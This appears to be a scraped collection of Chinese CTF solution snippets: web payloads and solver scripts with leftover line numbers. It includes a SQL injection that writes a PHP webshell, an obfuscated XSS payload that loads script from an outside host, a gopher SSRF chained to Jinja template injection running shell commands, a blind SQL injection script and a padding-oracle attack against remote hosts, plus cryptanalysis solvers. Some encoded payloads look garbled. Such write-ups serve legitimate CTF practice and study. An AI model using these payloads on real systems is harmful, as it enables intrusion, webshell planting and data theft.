/getFileList.php?order=id+into+outfile+'/var/www/html/shelll.php'
//后半部分试过空格 不成 用了burpsuite转码 

1

aa" oonnfofocuscus=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3hzLnBlL2tLbCc7')) autofofocuscus "

1
2
3
4
5

gopher://host:port/_<urlencoded-data> 这个格式会把 _<urlencoded-data> 解码后作为原始 TCP 数据直接发送到目标 host:port。

也就是说它不是标准的 HTTP GET，而是把你自己构造的整段 HTTP 请求字节流直接写到目标端口上（相当于直接在 TCP 上发你想要的 HTTP 报文）。

这是 SSRF 利用的常见技巧：当目标的远程请求接口（这里是 PHP 的 curl）只允许你传入一个 URL（无法直接指定 POST 或 body）时，使用 gopher 协议可以把任意原始请求（包括 POST + body）写到内网服务上。

1

url=gopher%3A%2F%2F127.0.0.1%3A5001%2F_POST%2520%2F%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%253A5001%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%250D%250A%250D%250A%250D%250A%250D%250A%250D%250Atemplate%253D%257B%257B%2520url_for._globals_%255B%2527_%255D%255B%2527%255D%2527%255D%2527%255D%2527%255D%2527%255D%2527%2527%2527%2522%2522os%2522%2529.popen%2528%2522env%2522%2529.read%2528%2529%2527%2529%2520%2527%257D%257D%255D%2527

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

from decimal import Decimal, getcontext
import re

def main():
    # 设置高精度计算环境
    getcontext().prec = 100  # 提高精度到100位
    
    # 公开的范数平方
    norm_squared = Decimal('15960922284361974605582033637987025644912788')
    
    # 计算范数
    norm_G = norm_squared.sqrt()
    
    # 共享密钥 K_Alice 的分量（即归一化后的 g）
    K_Alice_str = "0.47292225874042030771896799291807799271678994351844+0.44018598307489329918958641928841974350737975182974i+0.54174915328248053441099670537355485876445440400706j+0.53766968708489053913141352127029842443636489064268k"
    
    # 使用正则表达式安全解析四元数
    pattern = r'([+-]?\d+\.\d+)[ij]?'  # 匹配浮点数部分
    parts = re.findall(pattern, K_Alice_str)
    
    if len(parts) < 4:
        # 硬编码分量作为备选方案
        w_g = Decimal('0.47292225874042030771896799291807799271678994351844')
        x_g = Decimal('0.44018598307489329918958641928841974350737975182974')
        y_g = Decimal('0.54174915328248053441099670537355485876445440400706')
        z_g = Decimal('0.53766968708489053913141352127029842443636489064268')
    else:
        w_g = Decimal(parts[0])
        x_g = Decimal(parts[1])
        y_g = Decimal(parts[2])
        z_g = Decimal(parts[3])
    
    # 计算原始整数分量
    w = int(round(w_g * norm_G))
    x = int(round(x_g * norm_G))
    y = int(round(y_g * norm_G))
    z = int(round(z_g * norm_G))
    
    # 验证后六位是否匹配
    expected_suffixes = [271603, 292847, 939167, 994109]
    calculated_suffixes = [w % 1000000, x % 1000000, y % 1000000, z % 1000000]
    
    if calculated_suffixes != expected_suffixes:
        print("警告：计算的分量后六位不匹配！")
        print(f"计算值：{calculated_suffixes}")
        print(f"期望值：{expected_suffixes}")
        return
    
    # 将每个整数转换为 9 字节（大端序），然后拼接为 flag
    try:
        w_bytes = w.to_bytes(9, 'big')
        x_bytes = x.to_bytes(9, 'big')
        y_bytes = y.to_bytes(9, 'big')
        z_bytes = z.to_bytes(9, 'big')
    except OverflowError:
        # 处理可能的溢出错误
        w_bytes = w.to_bytes(10, 'big')[:9]  # 取前9字节
        x_bytes = x.to_bytes(10, 'big')[:9]
        y_bytes = y.to_bytes(10, 'big')[:9]
        z_bytes = z.to_bytes(10, 'big')[:9]
    
    flag = w_bytes + x_bytes + y_bytes + z_bytes
    print(flag.decode('ascii', errors='ignore'))  # 输出 flag

if __name__ == '__main__':
    main()

flag{hav3_U_f1nd_ouT_@bout_tr1ck?XD}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

import base64
from pwn import *

def padding_oracle_attack():
    # 连接到服务器
    r = remote("8.147.132.32", 40772)  # 替换为实际地址和端口
    
    # 接收初始数据
    initial_b64 = r.recvline().strip()[2:-1].decode().strip()
    print(f"Received initial data: {initial_b64}")
    
    # 解码初始数据
    decoded = base64.b64decode(initial_b64)
    iv = decoded[:16]
    ct_blocks = [decoded[i:i+16] for i in range(16, len(decoded), 16)]
    
    flag = b""
    
    # 对每个密文块进行解密
    for block_num in range(len(ct_blocks)):
        print(f"\nDecrypting block {block_num+1}/{len(ct_blocks)}")
        current_ct = ct_blocks[block_num]
        prev_ct = iv if block_num == 0 else ct_blocks[block_num-1]
        
        decrypted = bytearray(16)
        
        for byte_pos in range(15, -1, -1):
            # 准备篡改的prev_ct
            tampered_prev = bytearray(prev_ct)
            
            # 设置后面的字节使得padding正确
            padding_value = 16 - byte_pos
            for k in range(byte_pos + 1, 16):
                tampered_prev[k] = decrypted[k] ^ padding_value
            
            # 暴力破解当前字节
            for guess in range(256):
                tampered_prev[byte_pos] = guess
                
                # 构建测试数据
                test_data = bytes(tampered_prev) + current_ct
                test_b64 = base64.b64encode(test_data)
                
                # 发送给oracle
                r.sendlineafter(b"base64(iv+ct)\n", test_b64)
                response = r.recvline().strip()[2:-1].decode()[:-2].encode()
                
                if response == b'OK':
                    # 找到正确的值
                    decrypted[byte_pos] = guess ^ padding_value
                    print(f"Byte {byte_pos}: {hex(decrypted[byte_pos])}")
                    break
                elif response != b'ERR2':
                    print(f"Unexpected response: {response}")
        
        # 计算明文块
        plaintext_block = bytes([decrypted[i] ^ prev_ct[i] for i in range(16)])
        flag += plaintext_block
        print(f"Current flag: {flag}")
    
    # 去除可能的padding
    try:
        from Crypto.Util.Padding import unpad
        flag = unpad(flag, 16)
    except:
        pass
    
    print(f"\nFinal flag: {flag.decode()}")
    r.close()

padding_oracle_attack()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93

from sage.all import *
from Crypto.Util.number import long_to_bytes

# 给定参数
p = 10424356578148041779853991789187969944186570125402901113699573185144158488847151089093649435805832723680640302469301322004769382556869280204369016044400623
k = 2016425917343526209264752974016973527106088400191647819396444997081866888816818440804306653900752825844532111319244334210470353279795203950886189568717273
m = 9640575609666038466312358795458735166723157003124018050805657432015561577987823522956739610343817276374800232163184447140344754253531140765054930193240661
n = 8539207304708818916453730202381072788689351891251165656488809155919585187699733568697903825636944248694317545906020707873051567183468920809837554174735591
f = 3760813688323379339493776734416231127517302841171887658445242754803946122769018586447782634756726656702581791734772105099204609201876825961922712387326893

# 使用改进的格基构造方法
C = 2^128  # 放大因子
M = 2^300  # 用于平衡方程的常数项

# 构造格基矩阵
L = matrix(ZZ, [
    [1, 0, 0, 0, k * M],
    [0, 1, 0, 0, m * M],
    [0, 0, 1, 0, n * M],
    [0, 0, 0, 1, -p * M],
    [0, 0, 0, 0, -f * M]
])

# 对格进行LLL规约
L_LLL = L.LLL()

print("LLL规约后的基矩阵:")
print(L_LLL)

# 在规约后的基中寻找短向量
for i in range(L_LLL.nrows()):
    v = L_LLL[i]
    # 检查向量是否满足条件：前四个分量小，最后一个分量接近0
    if all(abs(v[j]) < 2^128 for j in range(4)) and abs(v[4]) < 1:
        a, b, c, t, w = v
        # 验证方程
        S = (k * a + m * b + n * c) % p
        if S == f:
            print("找到正确解!")
            print(f"a = {a}")
            print(f"b = {b}")
            print(f"c = {c}")
            # 转换为字节
            a_bytes = long_to_bytes(abs(a))
            b_bytes = long_to_bytes(abs(b))
            c_bytes = long_to_bytes(abs(c))
            flag = a_bytes + b_bytes + c_bytes
            try:
                print("Flag:", flag.decode())
            except:
                print("Flag字节序列:", flag)
            break
else:
    print("未找到有效解，尝试其他方法...")
    
    # 备选方案：直接使用方程求解
    print("\n尝试直接求解方程...")
    # 创建整数环
    R = Integers(p)
    # 将系数转换为环元素
    k_r = R(k)
    m_r = R(m)
    n_r = R(n)
    f_r = R(f)
    
    # 尝试小范围搜索
    print("在小范围搜索可能解...")
    found = False
    for a_val in range(-10000, 10000):
        for b_val in range(-10000, 10000):
            # 计算c值
            c_val = (f_r - k_r*a_val - m_r*b_val)/n_r
            if c_val in ZZ and abs(c_val) < 2^128:
                c_val = int(c_val)
                # 验证
                if (k*a_val + m*b_val + n*c_val) % p == f:
                    print("找到可能解:")
                    print(f"a = {a_val}, b = {b_val}, c = {c_val}")
                    # 转换为字节
                    a_bytes = long_to_bytes(abs(a_val))
                    b_bytes = long_to_bytes(abs(b_val))
                    c_bytes = long_to_bytes(abs(c_val))
                    flag = a_bytes + b_bytes + c_bytes
                    try:
                        print("Flag:", flag.decode())
                    except:
                        print("Flag字节序列:", flag)
                    found = True
                    break
        if found:
            break
    if not found:
        print("小范围搜索未找到解，可能需要更高级的方法。")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
recover_linrec.py
还原线性递推生成的片段并重建 flag（模 p 的线性方程组求解）
适用于题目：长度 L=14 的线性递推，给定连续 2L 个 x 值

用法：直接运行即可，脚本内含示例数据（替换为你的数据）
"""

from typing import List
import math

# --------- 请在此填入题目给出的 p 和连续 2L 个 x 值 ----------
p = 3028255493  # 示例：题目给出的素数 p
# 这是你贴出的最后 28 个 x 值（就是示例）
x_vals = [
2981540507, 1806477191, 1912594455, 2801509477, 401085215, 818458584,
2397034605, 2120401989, 2008340439, 66147874, 1558789534, 2187085801,
671267991, 2930313508, 924435370, 902711250, 1226810076, 769329795,
2328739529, 1228810265, 1382003520, 1967489557, 2811050420, 1008248532,
1643249997, 639108823, 449982542, 1325050025
]
# ----------------------------------------------------------------

# L is the recurrence length
L = len(x_vals) // 2
assert L * 2 == len(x_vals), "需要 2L 个连续 x 值"

# Build linear system: for i in 0..L-1:
# sum_{j=0..L-1} c[j] * x[i+j] ≡ x[L+i] (mod p)
A = [[0]*L for _ in range(L)]
b = [0]*L
for i in range(L):
    for j in range(L):
        A[i][j] = x_vals[i+j] % p
    b[i] = x_vals[L + i] % p

# modular Gaussian elimination to solve A * c = b (mod p)
def modinv(a, mod):
    return pow(a, -1, mod)

def solve_mod_linear_system(A: List[List[int]], b: List[int], mod: int) -> List[int]:
    n = len(A)
    # make augmented matrix
    M = [row[:] + [bval] for row, bval in zip(A, b)]
    # elimination
    row = 0
    for col in range(n):
        # find pivot
        pivot = -1
        for r in range(row, n):
            if M[r][col] % mod != 0:
                pivot = r
                break
        if pivot == -1:
            continue
        # swap
        M[row], M[pivot] = M[pivot], M[row]
        inv_pivot = modinv(M[row][col] % mod, mod)
        # normalize
        M[row] = [(val * inv_pivot) % mod for val in M[row]]
        # eliminate other rows
        for r in range(n):
            if r != row:
                factor = M[r][col] % mod
                if factor:
                    M[r] = [ (M[r][k] - factor * M[row][k]) % mod for k in range(n+1) ]
        row += 1
        if row == n:
            break
    # read solution (assuming full rank)
    sol = [0]*n
    for i in range(n):
        # find leading 1
        lead = -1
        for j in range(n):
            if M[i][j] == 1:
                lead = j
                break
        if lead == -1:
            continue
        sol[lead] = M[i][-1] % mod
    return sol

c = solve_mod_linear_system(A, b, p)
print("Recovered coefficients c (mod p):")
for i,ci in enumerate(c):
    print(i, ci)

# Convert coefficients back to bytes
# In original generator each piece is up to 3 bytes (they did pieces=[flag[i:i+3]])
# So for each coefficient try to convert to 3-byte big-endian
pieces = []
for ci in c:
    # decide length: try 3 bytes first, if leading bytes zero, we can strip
    # but keep 3 bytes to preserve structure
    blen = max(3, (ci.bit_length() + 7) // 8)
    # we expect up to 3 bytes, but guard if >3
    if blen > 3:
        blen = (ci.bit_length() + 7) // 8
    try:
        pb = ci.to_bytes(blen, 'big')
    except OverflowError:
        pb = b''
    pieces.append(pb)

# join and try decode
flag_bytes = b''.join(pieces)
# Try to decode ascii and find "flag{"
try:
    s = flag_bytes.decode('ascii', errors='ignore')
except:
    s = None

print("\nJoined bytes (hex):", flag_bytes.hex())
print("Joined bytes (raw repr):", flag_bytes)
print("Joined decoded (ascii, ignore errors):")
print(s)
# heuristics: find substring like flag{...}
if s and "flag{" in s:
    start = s.find("flag{")
    end = s.find("}", start)
    if end != -1:
        print("\nFound flag-like substring:", s[start:end+1])
    else:
        print("\nFound 'flag{', but no closing brace in decoded string")
else:
    print("\nNo obvious 'flag{' found in decoded bytes. You can inspect hex above.")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
recover_reused_k.py
恢复因为重用 k 导致泄露的私钥，并用得到的 AES key 解密提供的 ciphertext。
给定：n, r, s1, s2, message1, message2, ct (bytes)
步骤：
1. delta_s = s1 - s2 (mod n)
2. delta_e = e1 - e2 (mod n)  (e = bytes_to_long(message))
   k = delta_e * inv(delta_s) mod n
3. D = ((s1 * k - e1) * inv(r)) mod n
4. d_bytes = D.to_bytes(16, 'big')
5. AES-ECB decrypt ciphertext with key d_bytes, unpad，得到 flag
"""

from Crypto.Util.number import bytes_to_long as b2l
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# ----------------- 在这里填入题目数据（示例已填） -----------------
n = 278302096557935581738338462024559946959
r = 264579573280920819291511588977260661069
s1 = 157195048165685698821267525173525379816
s2 = 61286613457098845815723227657607632607

mes1 = b"If you used the same random number when signing,"
mes2 = b" then you need to be careful."

# ciphertext 从题目里提供的字节串（复制为 bytes）
ct = b'\xd1\x7fR\xdaz\x9cT\xb8{\x1b\ts\xbcJ6#\x16n\xcedm\xd6v)\x05A3\x87\xc51\xfc\x9d#\xe5\xf2I@\x91\xc3\x96w\xae]\xc3Uf\xd1\xee'
# ----------------------------------------------------------------

# Convert messages to integers (e = bytes_to_long)
e1 = b2l(mes1)
e2 = b2l(mes2)

# modular arithmetic helpers
def modinv(a, m):
    return pow(a, -1, m)

# compute k
delta_s = (s1 - s2) % n
delta_e = (e1 - e2) % n
if delta_s == 0:
    raise ValueError("delta_s == 0, 无法求逆，s1==s2？")
k = (delta_e * modinv(delta_s, n)) % n
print("Recovered k =", k)

# recover D (private key integer)
# s1 = k^{-1} * (e1 + r*D)  =>  e1 + r*D = s1 * k (mod n)
# => r*D = s1*k - e1  => D = (s1*k - e1) * inv(r) mod n
D = ((s1 * k - e1) * modinv(r, n)) % n
print("Recovered D (int) =", D)

# convert to 16-byte d (big-endian)
d_bytes = D.to_bytes(16, 'big')
print("Recovered d (hex) =", d_bytes.hex())

# decrypt AES-ECB (16-byte key)
cipher = AES.new(d_bytes, AES.MODE_ECB)
pt_padded = cipher.decrypt(ct)
# try to unpad (if PKCS#7)
try:
    pt = unpad(pt_padded, 16)
except ValueError:
    # 如果不是 PKCS#7 填充，直接输出原始明文
    pt = pt_padded
print("Decrypted plaintext (raw):", pt)
try:
    print("Decrypted plaintext (decoded):", pt.decode())
except:
    pass

# 如果明文里有 flag 格式（如 flag{...}），打印出来
s = None
try:
    s = pt.decode()
except:
    s = None
if s and "flag{" in s:
    start = s.find("flag{")
    end = s.find("}", start)
    if end != -1:
        print("\nFound flag:", s[start:end+1])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

import re

logfile = r"[Misc]日志分析-盲辨海豚\blindsql.log"

# 匹配 ASCII 盲注行
pattern = re.compile(
    r"substr\(.*?,(\d+),1\)\)=['\"]?(\d+)['\"]?.*? (\d+)$"
)

flag_chars = {}

with open(logfile, "r", encoding="utf-8") as f:
    for line in f:
        m = pattern.search(line)
        if m:
            pos = int(m.group(1))
            ascii_val = int(m.group(2))
            resp_size = int(m.group(3))
            # 200 6 是成功
            if resp_size == 6:
                flag_chars[pos] = chr(ascii_val)

# 根据位置排序，拼接
flag = "".join(flag_chars[pos] for pos in sorted(flag_chars))
print("Flag:", flag)

1
2
3
4
5
6
7

本题由多个小问题组成，得到各个小问题答案后用下划线"_"拼接即可

1.注册小狐狸钱包，并提交小狐狸钱包助记词个数
2.1145141919810 Gwei等于多少ETH （只保留整数）
3.查询此下列账号第一次交易记录的时间，提交年月日拼接，如20230820
0x949F8fc083006CC5fb51Da693a57D63eEc90C675
4.使用remix编译运行附件中的合约，将输出进行提交

1
2
3
4
5

{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('numpy').sum([1,2,3]) }}
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('statistics').fmean([1,2,3]) }}
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('statistics').mean([4,5,6]) }}
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('difflib').get_close_matches('a',['a','b','c']) }}
{{ config.__class__.__init__.__globals__['__builtins__']['__import__']('re').search('a','abc') }}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

import time
import requests
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://eci-2ze5i7cbu6fr8hljrxyb.cloudeci1.ichunqiu.com:80/search"
headers = {
    'Host': 'eci-2ze5i7cbu6fr8hljrxyb.cloudeci1.ichunqiu.com:80',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate, br',
    'Referer': 'https://eci-2ze5i7cbu6fr8hljrxyb.cloudeci1.ichunqiu.com:80/panel',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'https://eci-2ze5i7cbu6fr8hljrxyb.cloudeci1.ichunqiu.com:80',
    'Sec-Fetch-Dest': 'empty',
    'Sec-Fetch-Mode': 'cors',
    'Sec-Fetch-Site': 'same-origin',
    'Priority': 'u=1,i'
}

def blind_injection():
    result = ""
    for i in range(1, 100):
        low = 32  # ASCII printable characters start from 32
        high = 126  # ASCII printable characters end at 126
        found = False
        
        while low <= high:
            mid = (low + high) // 2
            # SQL injection payload
            payload = f"name=amiya' and ascii(substr((select group_concat(flag) from Flag.flag),{i},1))>{mid}%23"
            
            try:
                response = requests.post(url, headers=headers, data=payload, verify=False, timeout=10)
                
                # You need to determine what response indicates TRUE vs FALSE
                # This depends on the actual application behavior
                if "ok" in response.text.lower() or "true" in response.text.lower():
                    low = mid + 1
                else:
                    high = mid - 1
                    
            except Exception as e:
                print(f"请求失败: {e}")
                time.sleep(1)
                continue
            
            time.sleep(0.1)  # Be polite to the server
        
        # After the binary search, low is the correct ASCII value
        if low <= 126 and low >= 32:
            result += chr(low)
            print(f"Current result: {result}")
        else:
            # If no valid character found, we've probably reached the end
            break
    
    print(f"Final result: {result}")
    return result

# Test the basic connection first
def test_connection():
    test_data = {'name': 'amiya'}
    try:
        response = requests.post(url, headers=headers, data=test_data, verify=False, timeout=10)
        print(f"Test response status: {response.status_code}")
        print(f"Test response text: {response.text[:200]}...")  # First 200 chars
        return True
    except Exception as e:
        print(f"Connection test failed: {e}")
        return False

if __name__ == "__main__":
    print("Testing connection...")
    if test_connection():
        print("Starting blind SQL injection...")
        blind_injection()
    else:
        print("Cannot connect to the server. Please check the URL and network connection.")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

#!/usr/bin/env python3
# gen_candidates.py
# 生成 p_high 候选列表（例如 4096 个）
import argparse, re

def read_public_key(path='public_key.pem'):
    txt = open(path,'r').read()
    m = re.search(r"n\s*=\s*([0-9]+)", txt)
    if not m:
        raise RuntimeError("public_key.pem 中找不到 n")
    n = int(m.group(1))
    return n

def read_partial(path='partial_p.txt'):
    s = open(path,'r').read().strip()
    # 去掉前缀(例如 ???)，保留十六进制部分
    hexpart = ''.join(ch for ch in s if ch in "0123456789abcdefABCDEF")
    if hexpart == '':
        raise RuntimeError("partial_p.txt 看起来没有 hex 内容")
    return int(hexpart, 16), hexpart

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--mask', type=int, default=12, help='被 mask 的低位数，默认 12 -> 4096 个候选')
    parser.add_argument('--highbits', type=int, default=None, help='已知的 high_bit_count (bits)，默认取 p_bits*2/3')
    parser.add_argument('--out', default='p_high_candidates_full.txt')
    args = parser.parse_args()

    n = read_public_key()
    partial_int, hexstr = read_partial()

    p_bits_est = (n.bit_length() + 1)//2
    if args.highbits is None:
        high_bit_count = int(p_bits_est * 2/3)
    else:
        high_bit_count = int(args.highbits)

    mask_bits = args.mask
    print("n bits:", n.bit_length(), "est p bits:", p_bits_est, "high_bit_count:", high_bit_count)
    print("partial hex:", hexstr)
    print("mask bits:", mask_bits, "=> candidates:", 2**mask_bits)

    # 解释：partial_int 被视为 p_high_masked（即高位段内低 mask_bits 位未知道或被置0）
    # 我们按照 candidate = partial_int | k (k ranges 0..2^mask_bits-1)
    with open(args.out,'w') as f:
        idx = 0
        for k in range(0, 1<<mask_bits):
            cand = partial_int | k
            f.write(f"{idx} {cand}\\n")
            idx += 1
    print("写入", args.out, "完成。")

if __name__ == '__main__':
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224

#!/usr/bin/env sage
# -*- coding: utf-8 -*-
"""
recover_from_candidates.sage.py

在 Sage 环境下运行：
sage -python recover_from_candidates.sage.py

说明：
- 需要文件： public_key.pem, ciphertext.bin, p_high_candidates_full.txt
- p_high_candidates_full.txt 格式示例（每行一个候选）:
  0 1705444444814700337...
  1 6721900954927818992...
  ...
  （第二列为十进制整数表示的 high_p）
"""

from sage.all import *
from Crypto.Util.number import long_to_bytes
import re
import sys
import time

# ---------- 配置（如需可修改） ----------
CANDIDATES_FILE = "p_high_candidates_full.txt"
PUBFILE = "public_key.pem"
CIPHFILE = "ciphertext.bin"

# mask_bits 将尝试的范围（表示 leaked high block 内低位被 mask 的位数）
MAX_MASK_BITS = 24   # 可按需扩大/缩小

# beta 参数列表（small_roots 使用）
BETA_LIST = [0.5, 0.45, 0.4, 0.35, 0.3, 0.25, 0.2]

# 若你知道 high_bit_count（被泄露的高位位数），可在这里指定（整数）；否则设为 None，脚本自动按 p_bits*2/3 估算
KNOWN_HIGH_BIT_COUNT = None

# ---------- 读取公钥与密文 ----------
def read_public_key(path=PUBFILE):
    txt = open(path,'r').read()
    m = re.search(r"n\s*=\s*([0-9]+)", txt)
    if not m:
        raise ValueError("public_key.pem 中找不到 n")
    n = Integer(int(m.group(1)))
    m2 = re.search(r"e\s*=\s*([0-9]+)", txt)
    e = int(m2.group(1)) if m2 else 65537
    return n,e

def read_ciphertext(path=CIPHFILE):
    try:
        b = open(path,'rb').read()
        return Integer(int.from_bytes(b,'big'))
    except Exception as ex:
        print("无法读取 ciphertext.bin：", ex)
        return None

# ---------- 读取候选 high_p 列表 ----------
def read_candidates(path=CANDIDATES_FILE):
    cand = []
    for line in open(path,'r'):
        line = line.strip()
        if not line:
            continue
        parts = line.split()
        if len(parts) < 2:
            continue
        # 第二列可能是十进制，也可能是 hex，先尝试十进制
        token = parts[1]
        try:
            v = Integer(int(token))
        except Exception:
            # 如果包含 0x 或 hex 字符，试 hex
            if token.startswith("0x") or all(c in "0123456789abcdefABCDEF" for c in token):
                v = Integer(int(token, 16))
            else:
                print("无法解析候选:", token)
                continue
        cand.append((parts[0], v))
    return cand

# ---------- phase3-style 尝试函数 ----------
def try_recover_from_high(n, high_int, p_bits_est, high_bit_count):
    """
    high_int: 候选的 high_p（整数）
    n: modulus
    p_bits_est: 预估的 p bit 长度
    high_bit_count: 泄露的高位数量（bits）
    返回：recovered_p 或 None
    """
    # 尝试若干 mask_bits（表示 high_int 的低端可能被 mask 的位数）
    for mask_bits in range(0, MAX_MASK_BITS+1):
        known_high = Integer(high_int >> mask_bits)  # 去掉被 mask 的低位
        unknown_bits = p_bits_est - high_bit_count + mask_bits
        if unknown_bits <= 0:
            continue
        X = 2**unknown_bits
        print(f"  mask_bits={mask_bits}, unknown_bits={unknown_bits} (search X ~ 2^{unknown_bits})")
        # 构造 f(x) = A*2^unknown_bits + x  在 Zmod(n)
        try:
            R = PolynomialRing(Zmod(n), 'x')
            x = R.gen()
            A = Integer(known_high)
            f = A * (2**unknown_bits) + x
        except Exception as e:
            print("  Polynomial construction error:", e)
            continue

        # 尝试不同 beta
        for beta in BETA_LIST:
            try:
                t0 = time.time()
                print(f"    trying small_roots with beta={beta} ...", end="", flush=True)
                roots = f.small_roots(X=X, beta=beta)
                t1 = time.time()
                print(" done (time: {:.2f}s)".format(t1-t0))
                if not roots:
                    # no roots for this param
                    continue
                # 遍历 roots
                for r in roots:
                    r_int = Integer(r)
                    P = Integer(A * (2**unknown_bits) + r_int)
                    if P <= 1:
                        continue
                    if n % P == 0:
                        Q = n // P
                        if P * Q == n:
                            print("    -> success: found p!")
                            return int(P)
                        else:
                            print("    found factor but P*Q != n (skip)")
                # 若没有合适因子，继续
            except Exception as e:
                print("    small_roots raised:", e)
                # 继续尝试其他 beta
                continue
    # 未找到
    return None

# ---------- 主流程 ----------
def main():
    print("读取 public key...")
    try:
        n,e = read_public_key()
    except Exception as ex:
        print("读取 public key 失败：", ex)
        return

    # 兼容 Sage Integer 与 Python int 的 bitlen 调用
    def bitlen(x):
        try:
            return int(x).bit_length()
        except Exception:
            try:
                return x.nbits()
            except Exception:
                return len(bin(int(x))) - 2

    print("n bitlen:", bitlen(n))
    c = read_ciphertext()
    if c is None:
        print("注意：未读到 ciphertext，脚本将只尝试恢复 p 并不会解密。")

    print("读取 high_p 候选列表...")
    candidates = read_candidates()
    if not candidates:
        print("没有候选，检查文件", CANDIDATES_FILE)
        return

    p_bits_est = (bitlen(n) + 1)//2
    if KNOWN_HIGH_BIT_COUNT is None:
        high_bit_count = int(p_bits_est * 2/3)
    else:
        high_bit_count = int(KNOWN_HIGH_BIT_COUNT)

    print(f"估计 p bits: {p_bits_est}, 使用 high_bit_count = {high_bit_count}")

    # 遍历候选
    idx = 0
    for label, high_val in candidates:
        idx += 1
        print("\n================================================================")
        print(f"[{idx}/{len(candidates)}] candidate label={label}  high_val bitlen={bitlen(high_val)}")
        try:
            recovered_p = try_recover_from_high(n, high_val, p_bits_est, high_bit_count)
        except Exception as e:
            print("  candidate 流程异常：", e)
            recovered_p = None

        if recovered_p:
            P = Integer(recovered_p)
            Q = Integer(n) // P
            print(">>> 成功恢复 p:", P)
            print(">>> 对应 q:", Q)
            # 尝试解密
            if c is not None:
                print("尝试解密 ciphertext...")
                try:
                    phi = (P-1)*(Q-1)
                    d = inverse_mod(Integer(e), phi)
                    m = pow(Integer(c), Integer(d), Integer(n))
                    try:
                        pt = long_to_bytes(int(m))
                        print("Decrypted plaintext (bytes):")
                        print(pt)
                        try:
                            print("Decoded (utf-8):", pt.decode())
                        except Exception:
                            pass
                    except Exception as ex:
                        print("解密后转换 bytes 失败：", ex)
                        print("m (hex):", hex(int(m)))
                except Exception as ex:
                    print("解密失败：", ex)
            print("Done. Exiting.")
            return
        else:
            print("  未从该候选恢复到 p，继续下一个候选。")

    print("\n遍历完所有候选，未能恢复 p。建议：\n - 增加 MAX_MASK_BITS 或调整 BETA_LIST\n - 在交互式 Sage 中对单个候选细调 small_roots 参数\n - 检查候选列表是否确实为 high_p（是否需要右移/左移）\n")

if __name__ == "__main__":
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
